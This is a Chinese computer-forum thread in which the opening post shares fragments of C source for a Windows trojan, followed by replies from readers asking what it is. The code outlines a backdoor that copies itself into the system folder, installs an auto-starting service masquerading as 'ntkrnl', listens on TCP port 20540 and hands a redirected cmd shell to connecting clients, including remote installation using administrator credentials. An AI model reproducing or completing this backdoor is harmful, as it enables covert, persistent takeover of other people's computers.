计算机技术论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

  • 欢迎访问 计算机技术论坛-电脑迷与初学者的家园!由于论坛管理严格,新注册会员可能遇到各种问题,无法解决的请发邮件 admin@jsjbbs.cn
查看: 7128|回复: 11

一小段木马源代码:

  [复制链接]
发表于 2009-9-6 23:53:34 | 显示全部楼层 |阅读模式
适用平台为Windows2000/XP。它可自动为   
  远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。   
  1.自定义数据结构与函数   
  typedef   struct   
  {   
  HANDLE   hPipe;   
  //为实现进程间通信而使用的管道;   
  SOCKET   sClient;   
  //与客户端进行通信时的客户端套接字;   
  }SESSIONDATA,*PSESSIONDATA;   
  //重定向Cmd标准输入/输出时使用的数据结构;   
   
  typedef   struct   PROCESSDATA   
  {   
  HANDLE   hProcess;   
  //创建Cmd进程时获得的进程句柄;   
  DWORD   dwProcessId;   
  //创建Cmd进程时获得的进程标识符;   
  struct   PROCESSDATA   *next;   
  //指向下一个数据结构的指针;   
  }PROCESSDATA,*PPROCESSDATA;   
  //在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;   
   
  void   WINAPI   CmdStart(DWORD,LPTSTR   *);   
  //服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;   
  void   WINAPI   CmdControl(DWORD);   
  //服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;   
  DWORD   WINAPI   CmdService(LPVOID);   
  //服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;   
  DWORD   WINAPI   CmdShell(LPVOID);   
  //创建管道与Cmd进程,及Cmd的输入/输出线程;   
  DWORD   WINAPI   ReadShell(LPVOID);   
  //重定向Cmd的输出,读取信息后发送到客户端;   
  DWORD   WINAPI   WriteShell(LPVOID);   
  //重定向Cmd的输入,接收客户端的信息输入到Cmd进程;   
  BOOL   ConnectRemote(BOOL,char   *,char   *,char   *);   
  //如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;   
  void   InstallCmdService(char   *);   
  //复制传送文件,打开服务控制管理器,创建或打开服务程序;   
  void   RemoveCmdService(char   *);     
  //删除文件,停止服务后,卸载服务程序;   
   
  2.服务程序相关函数   
  SERVICE_TABLE_ENTRY   DispatchTable[]   =   
  {   
  {"ntkrnl",CmdStart},   
  //服务程序的名称和入口点;   
  {NULL   ,NULL   }   
  //SERVICE_TABLE_ENTRY结构必须以“NULL”结束;   
  };   
  StartServiceCtrlDispatcher(DispatchTable);   
  //连接服务控制管理器,开始控制调度程序线程;   
  ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);     
  //注册CmdControl函数为“HandlerEx”函数,并初始化;   
  ServiceStatus.dwCurrentState   =   SERVICE_RUNNING;   
  SetServiceStatus(ServiceStatusHandle,&ServiceStatus);   
  //设置服务的当前状态为SERVICE_RUNNING;   
  hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);   
  //创建服务主线程,实现后门功能;   
  WaitForSingleObject(hMutex,INFINITE);   
  //等待互斥量,控制全局变量的同步使用;   
  TerminateProcess(lpProcessDataHead->hProcess,1);   
  //终止创建的Cmd进程;   
  hSearch=FindFirstFile(lpImagePath,&FileData);   
  //查找系统目录下服务程序的文件是否已经存在;   
  GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);   
  //获得当前进程的程序文件名;   
  CopyFile(lpCurrentPath,lpImagePath,FALSE);   
  //复制文件到系统目录下;   
  schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);   
  //打开服务控制管理器数据库;   
  CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);   
  //创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;   
  schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);   
  //如果服务已经创建,则打开服务;   
  StartService(schService,0,NULL);   
  //启动服务进程;   
  ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);   
  //控制服务状态;   
  DeleteService(schService);   
  //卸载服务程序;   
  DeleteFile(lpImagePath);   
  //删除文件;   
   
  3.后门程序相关函数   
  hMutex=CreateMutex(NULL,FALSE,NULL);   
  //创建互斥量;   
  hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);   
  //创建处理客户端访问的重定向输入输出线程;   
  CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);   
  CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);   
  //创建用于进程间通信的输入/输出管道;   
  CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);   
  //创建经重定向输入输出的Cmd进程;   
  hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);   
  hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID   *)&sdWrite,0,&dwReavThreadId);   
  //创建处理Cmd输入输出的线程;   
  dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);   
  //等待线程或进程的结束;   
  ReleaseMutex(hMutex);   
  //释放互斥量;   
  PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);   
  //从管道中复制数据到缓冲区中,但不从管道中移出;   
  ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);   
  //从管道中复制数据到缓冲区中;   
  WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);   
  //向管道中写入从客户端接收到的数据;   
  dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);   
  //与远程主机建立连接;   
  WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);   
  //与远程主机结束连接;
发表于 2010-2-20 21:08:50 | 显示全部楼层
能解释一下这是写在什么中的代码吗?
发表于 2010-3-9 17:34:23 | 显示全部楼层
解释一下吧,这不明白啊!
发表于 2010-3-9 20:09:39 | 显示全部楼层
是啊!我也是不明白啊!
发表于 2010-6-3 19:59:51 | 显示全部楼层
不怎么懂!!!
发表于 2010-6-4 13:40:55 | 显示全部楼层
的确是看不明白
发表于 2010-6-4 15:28:49 | 显示全部楼层
这是干什么的呀?怎样使用呢?
发表于 2010-8-10 20:29:49 | 显示全部楼层
看不懂正常,要windows编程的基础
发表于 2010-8-21 10:19:21 | 显示全部楼层
学习。。学习。。。
发表于 2010-8-30 15:07:34 | 显示全部楼层
是哪种程序语言。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

无图版|手机版|计算机技术论坛 JSJBBS.CN @ 2008-2024 ( 鲁ICP备17021708号 )

技术支持 : 北京康盛新创科技有限责任公司

快速回复 返回顶部 返回列表